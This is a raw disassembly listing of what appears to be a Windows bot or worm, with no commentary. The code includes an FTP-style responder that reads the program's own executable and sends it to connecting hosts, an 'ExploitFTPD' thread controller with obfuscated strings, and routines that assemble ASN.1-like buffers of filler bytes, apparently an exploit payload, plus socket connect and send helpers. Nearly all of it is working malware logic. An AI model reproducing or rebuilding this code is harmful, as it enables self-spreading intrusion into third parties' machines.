		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_422725
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_422B5A
		mov	esi, eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_422B5A
		mov	edi, eax
		push	32h
		lea	eax, [ebp+var_D4]
		push	ebx
		push	eax
		call	sub_4221F0
		push	edi
		push	esi
		lea	eax, [ebp+var_D4]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_422063
		add	esp, 44h
		lea	eax, [ebp+var_D4]
		push	10h
		push	ebx
		push	eax
		call	sub_422AB8
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_422063
		mov	esi, offset a200 ; "200\r\n"
		lea	edi, [ebp+var_7C]
		add	esp, 24h
		lea	eax, [ebp+var_7C]
		movsd
		push	ebx
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_7C]
		jmp	loc_4026B6
; ---------------------------------------------------------------------------


loc_40255C:				; CODE XREF: sub_402190+301j
		lea	eax, [ebp+var_138]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40266A
		mov	esi, offset a150 ; "150\r\n"
		lea	edi, [ebp+var_C]
		movsd
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_0]
		call	dword_454350	; send
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_47C]
		push	[ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_16F8]
		push	[ebp+var_3EC]
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+var_44]
		push	eax
		call	sub_4026F1
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_40264E
		push	[ebp+var_80]
		call	sub_40274D
		pop	ecx
		mov	esi, offset a226 ; "226\r\n"
		test	eax, eax
		push	ebx
		jle	short loc_402638
		lea	edi, [ebp+var_14]
		lea	eax, [ebp+var_14]
		movsd
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_454350	; send
		inc	dword_455398
		cmp	[ebp+var_3F8], ebx
		jnz	loc_4026C0
		lea	eax, [ebp+var_A0]
		push	eax
		push	offset aPnmnw_7rscg0 ; "PnmNw.7RScG0"
		push	offset aSS_1	; "%s -> %s"
		push	offset dword_439644
		push	[ebp+var_70]
		call	sub_4104F6
		add	esp, 14h
		jmp	loc_4026C0
; ---------------------------------------------------------------------------


loc_402638:				; CODE XREF: sub_402190+450j
		lea	edi, [ebp+var_1C]
		lea	eax, [ebp+var_1C]
		movsd
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1C]
		jmp	short loc_4026B6
; ---------------------------------------------------------------------------


loc_40264E:				; CODE XREF: sub_402190+43Dj
		mov	esi, offset a425 ; "425\r\n"
		lea	edi, [ebp+var_28]
		movsd
		lea	eax, [ebp+var_28]
		push	ebx
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_28]
		jmp	short loc_4026B6
; ---------------------------------------------------------------------------


loc_40266A:				; CODE XREF: sub_402190+3E1j
		lea	eax, [ebp+var_138]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_422760
		pop	ecx
		pop	ecx
		test	eax, eax
		push	ebx
		jnz	short loc_40269D
		mov	esi, offset a221 ; "221\r\n"
		lea	edi, [ebp+var_34]
		movsd
		lea	eax, [ebp+var_34]
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_34]
		jmp	short loc_4026B6
; ---------------------------------------------------------------------------


loc_40269D:				; CODE XREF: sub_402190+4F0j
		mov	esi, offset a503 ; "503\r\n"
		lea	edi, [ebp+var_40]
		movsd
		lea	eax, [ebp+var_40]
		push	eax
		movsw
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_40]


loc_4026B6:				; CODE XREF: sub_402190+2B1j
					; sub_402190+2E7j ...
		push	eax
		push	[ebp+arg_0]
		call	dword_454350	; send


loc_4026C0:				; CODE XREF: sub_402190+47Cj
					; sub_402190+4A3j
		push	64h
		lea	eax, [ebp+var_2B0]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch


loc_4026D2:				; CODE XREF: sub_402190+1FEj
		mov	esi, [ebp+arg_0]


loc_4026D5:				; CODE XREF: sub_402190+16Aj
					; sub_402190+19Cj ...
		inc	esi
		cmp	esi, [ebp+var_4]
		mov	[ebp+arg_0], esi
		jle	loc_4022C9
		jmp	loc_402290
; ---------------------------------------------------------------------------


loc_4026E7:				; CODE XREF: sub_402190+129j
		xor	eax, eax
		inc	eax


loc_4026EA:				; CODE XREF: sub_402190+D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_402190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026F1	proc near		; CODE XREF: sub_402190+433p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	dword_454394	; socket
		mov	esi, [ebp+arg_18]
		push	[ebp+arg_0]
		mov	[ebp+var_10], 2
		mov	[esi], eax
		call	dword_45434C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_454314	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_4542AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402747
		push	dword ptr [esi]
		call	dword_4543AC	; closesocket
		xor	eax, eax
		jmp	short loc_40274A
; ---------------------------------------------------------------------------


loc_402747:				; CODE XREF: sub_4026F1+48j
		xor	eax, eax
		inc	eax


loc_40274A:				; CODE XREF: sub_4026F1+54j
		pop	esi
		leave
		retn
sub_4026F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40274D	proc near		; CODE XREF: sub_402190+442p

var_1108	= byte ptr -1108h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1108h
		call	sub_4220C0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_108]
		push	104h
		xor	edi, edi
		push	eax
		push	edi
		call	dword_42F154	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	offset aRb	; "rb"
		push	eax
		call	sub_422F66
		mov	esi, eax
		pop	ecx
		xor	ebx, ebx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_4], edi
		jz	short loc_4027FC
		push	2
		push	edi
		push	esi
		call	sub_422E7C
		push	esi
		call	sub_422CF9
		push	edi
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_422E7C
		add	esp, 1Ch
		jmp	short loc_4027F6
; ---------------------------------------------------------------------------


loc_4027AF:				; CODE XREF: sub_40274D+ADj
		push	1000h
		lea	eax, [ebp+var_1108]
		push	edi
		push	eax
		call	sub_4221F0
		push	esi
		push	800h
		lea	eax, [ebp+var_1108]
		push	1
		push	eax
		call	sub_422BE2
		add	esp, 1Ch
		test	byte ptr [esi+0Ch], 20h
		jnz	short loc_4027FC
		cmp	eax, edi
		jle	short loc_4027F6
		push	edi
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		push	[ebp+arg_0]
		call	dword_454350	; send
		add	ebx, eax


loc_4027F6:				; CODE XREF: sub_40274D+60j
					; sub_40274D+93j
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_4027AF


loc_4027FC:				; CODE XREF: sub_40274D+41j
					; sub_40274D+8Fj
		push	esi
		call	sub_422B65
		pop	ecx
		push	[ebp+arg_0]
		call	dword_4543AC	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		sub	eax, ebx
		pop	esi
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_40274D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40281E	proc near		; CODE XREF: sub_403B2C:loc_403C3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	9
		mov	[ebp+var_4], ebx
		call	sub_41C254
		cmp	eax, ebx
		pop	ecx
		jle	short loc_4028AB
		push	esi
		mov	esi, eax
		imul	esi, 1018h
		push	edi
		push	ebx
		lea	edi, dword_46D414[esi]
		push	dword ptr [edi]
		call	dword_42F048	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_402858
		mov	[ebp+var_4], 1


loc_402858:				; CODE XREF: sub_40281E+31j
		push	dword_44D66C
		mov	[edi], ebx
		mov	dword_46D408[esi], ebx
		mov	dword_46D40C[esi], ebx
		mov	dword_46D410[esi], ebx
		mov	byte ptr dword_46C408[esi], bl
		call	dword_4543AC	; closesocket
		cmp	[ebp+var_4], ebx
		pop	edi
		pop	esi
		jz	short loc_4028AB
		cmp	[ebp+arg_8], ebx
		jnz	short loc_4028CD
		push	1
		push	offset aExploitftpd ; "ExploitFTPD"
		push	offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		push	offset aSSDThreadSStop ; "%s %s	(%d thread(s) stopped)."
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 18h
		jmp	short loc_4028CD
; ---------------------------------------------------------------------------


loc_4028AB:				; CODE XREF: sub_40281E+14j
					; sub_40281E+65j
		cmp	[ebp+arg_8], ebx
		jnz	short loc_4028CD
		push	offset aExploitftpd ; "ExploitFTPD"
		push	offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 14h


loc_4028CD:				; CODE XREF: sub_40281E+6Aj
					; sub_40281E+8Bj ...
		pop	ebx
		leave
		retn
sub_40281E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028D0	proc near		; CODE XREF: sub_402B3C+Ep
					; sub_402B3C+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_4028D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028DA	proc near		; CODE XREF: sub_402B3C+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_422F79
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40290C
		push	ebx
		push	0
		push	edi
		call	sub_4221F0
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4223F0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40290C:				; CODE XREF: sub_4028DA+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4028DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402914	proc near		; CODE XREF: sub_402A06+18p
					; sub_402A80+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_402960
		push	edi
		push	0
		push	esi
		call	sub_4221F0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4223F0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4223F0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_402960:				; CODE XREF: sub_402914+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_402914	endp


; =============== S U B	R O U T	I N E =======================================



sub_402969	proc near		; CODE XREF: sub_402A06+5Ep
					; sub_402A06+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402979
		push	eax
		call	sub_4230B3
		pop	ecx


loc_402979:				; CODE XREF: sub_402969+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_402969	endp


; =============== S U B	R O U T	I N E =======================================



sub_402982	proc near		; CODE XREF: sub_402A06+20p
					; sub_402AE1+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4029AC
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_422F79
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4029B0


loc_4029AC:				; CODE XREF: sub_402982+Dj
		xor	al, al
		jmp	short loc_402A02
; ---------------------------------------------------------------------------


loc_4029B0:				; CODE XREF: sub_402982+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_4221F0
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_4029D0
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_4029E5
; ---------------------------------------------------------------------------


loc_4029D0:				; CODE XREF: sub_402982+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_4029E5:				; CODE XREF: sub_402982+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_4230B3
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_402A02:				; CODE XREF: sub_402982+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402982	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A06	proc near		; CODE XREF: sub_402B3C+89p
					; sub_402B3C+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_44D6A0
		call	sub_402914
		lea	ecx, [ebp+var_8]
		call	sub_402982
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_422F79
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_402A40
		xor	al, al
		jmp	short loc_402A7C
; ---------------------------------------------------------------------------


loc_402A40:				; CODE XREF: sub_402A06+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_4221F0
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4223F0
		add	esp, 18h
		mov	ecx, esi
		call	sub_402969
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_402969
		mov	al, 1


loc_402A7C:				; CODE XREF: sub_402A06+38j
		pop	edi
		pop	esi
		leave
		retn
sub_402A06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A80	proc near		; CODE XREF: sub_402AB4+14p
					; sub_402AD1+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_402914
		mov	ecx, esi
		call	sub_402969
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_402A80	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AB4	proc near		; CODE XREF: sub_402B3C+F0p
					; sub_402B3C+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_422120
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_402A80
		pop	esi
		retn	4
sub_402AB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AD1	proc near		; CODE XREF: sub_402B1D+Bp
					; sub_402B3C+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_402A80
		retn	8
sub_402AD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AE1	proc near		; CODE XREF: sub_402B1D+16p
					; sub_402B3C+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_402982
		test	al, al
		jz	short loc_402B1A
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_4331F0
		call	sub_402914
		mov	ecx, esi
		call	sub_402969
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_402B1A:				; CODE XREF: sub_402AE1+Fj
		pop	esi
		leave
		retn
sub_402AE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B1D	proc near		; CODE XREF: sub_402B3C+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_402AD1
		test	al, al
		jz	short loc_402B38
		mov	ecx, esi
		call	sub_402AE1


loc_402B38:				; CODE XREF: sub_402B1D+12j
		pop	esi
		retn	8
sub_402B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B3C	proc near		; CODE XREF: .text:004030F0p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_4028D0
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_402E80
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_402E80
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_4028D0
		lea	ecx, [ebp+var_20]
		call	sub_4028D0
		lea	ecx, [ebp+var_50]
		call	sub_4028D0
		lea	ecx, [ebp+var_18]
		call	sub_4028D0
		lea	ecx, [ebp+var_40]
		call	sub_4028D0
		lea	ecx, [ebp+var_38]
		call	sub_4028D0
		lea	ecx, [ebp+var_28]
		call	sub_4028D0
		push	4
		push	offset dword_432F54
		lea	ecx, [ebp+var_30]
		call	sub_402A80
		push	3
		push	offset dword_432F5C
		lea	ecx, [ebp+var_30]
		call	sub_402A80
		lea	ecx, [ebp+var_30]
		call	sub_402A06
		lea	ecx, [ebp+var_30]
		call	sub_402AE1
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_402A80
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_402A80
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_402A80
		lea	ecx, [ebp+var_20]
		call	sub_402A06
		push	offset loc_433214
		lea	ecx, [ebp+var_50]
		call	sub_402AB4
		lea	ecx, [ebp+var_50]
		call	sub_402A06
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_4028DA
		lea	ecx, [ebp+var_58]
		call	sub_402A06
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_402B1D
		lea	ecx, [ebp+var_58]
		call	sub_402969
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_402AB4
		push	4
		push	offset dword_432F60
		lea	ecx, [ebp+var_18]
		call	sub_402A80
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_402A80
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_402A80
		lea	ecx, [ebp+var_18]
		call	sub_402A06
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_402AD1
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_402AD1
		lea	ecx, [ebp+var_40]
		call	sub_402AE1
		lea	ecx, [ebp+var_18]
		call	sub_402969
		lea	ecx, [ebp+var_50]
		call	sub_402969
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_402AD1
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_402AD1
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_402AD1
		lea	ecx, [ebp+var_38]
		call	sub_402AE1
		lea	ecx, [ebp+var_20]
		call	sub_402969
		lea	ecx, [ebp+var_30]
		call	sub_402969
		lea	ecx, [ebp+var_40]
		call	sub_402969
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_402A80
		lea	ecx, [ebp+var_28]
		call	sub_402A06
		push	2
		push	offset dword_433208
		lea	ecx, [ebp+var_28]
		call	sub_402A80
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_402AD1
		lea	ecx, [ebp+var_28]
		call	sub_402AE1
		lea	ecx, [ebp+var_38]
		call	sub_402969
		lea	ecx, [ebp+var_10]
		call	sub_4028D0
		lea	ecx, [ebp+var_8]
		call	sub_4028D0
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_402AD1
		lea	ecx, [ebp+var_10]
		call	sub_402982
		lea	ecx, [ebp+var_28]
		call	sub_402969
		push	offset dword_433204
		lea	ecx, [ebp+var_8]
		call	sub_402AB4
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402AD1
		lea	ecx, [ebp+var_8]
		call	sub_402982
		lea	ecx, [ebp+var_10]
		call	sub_402969
		push	offset a0	; "0"
		lea	ecx, [ebp+var_10]
		call	sub_402AB4
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_402AD1
		lea	ecx, [ebp+var_10]
		call	sub_402982
		lea	ecx, [ebp+var_8]
		call	sub_402969
		push	offset dword_4331F8
		lea	ecx, [ebp+var_8]
		call	sub_402AB4
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402AD1
		lea	ecx, [ebp+var_8]
		call	sub_402982
		lea	ecx, [ebp+var_10]
		call	sub_402969
		push	offset dword_4331F4
		lea	ecx, [ebp+var_48]
		call	sub_402AB4
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_402AD1
		lea	ecx, [ebp+var_8]
		call	sub_402969
		pop	esi


loc_402E80:				; CODE XREF: sub_402B3C+1Bj
					; sub_402B3C+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_402B3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E92	proc near		; CODE XREF: sub_402F57+A2p
					; sub_402F57+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4542FC	; select
		cmp	eax, edi
		jnz	short loc_402EFA
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	dword_4541E4	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_402EFE


loc_402EFA:				; CODE XREF: sub_402E92+54j
		xor	eax, eax
		jmp	short loc_402F0E
; ---------------------------------------------------------------------------


loc_402EFE:				; CODE XREF: sub_402E92+66j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_454330	; recv


loc_402F0E:				; CODE XREF: sub_402E92+6Aj
		pop	edi
		pop	esi
		leave
		retn
sub_402E92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F12	proc near		; CODE XREF: sub_402F57+80p
					; sub_402F57+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_454310	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_454350	; send
		cmp	eax, 4
		jz	short loc_402F3C
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402F3C:				; CODE XREF: sub_402F12+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_454350	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_402F12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F57	proc near		; CODE XREF: sub_403036+48p
					; .text:0040318Dp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_402F80
		xor	al, al
		jmp	loc_403031
; ---------------------------------------------------------------------------


loc_402F80:				; CODE XREF: sub_402F57+20j
		push	ebx
		push	0
		push	esi
		call	sub_4221F0
		push	2Fh
		push	offset dword_432FF0
		push	esi
		call	sub_4223F0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_433020
		push	eax
		mov	[esi+2Fh], di
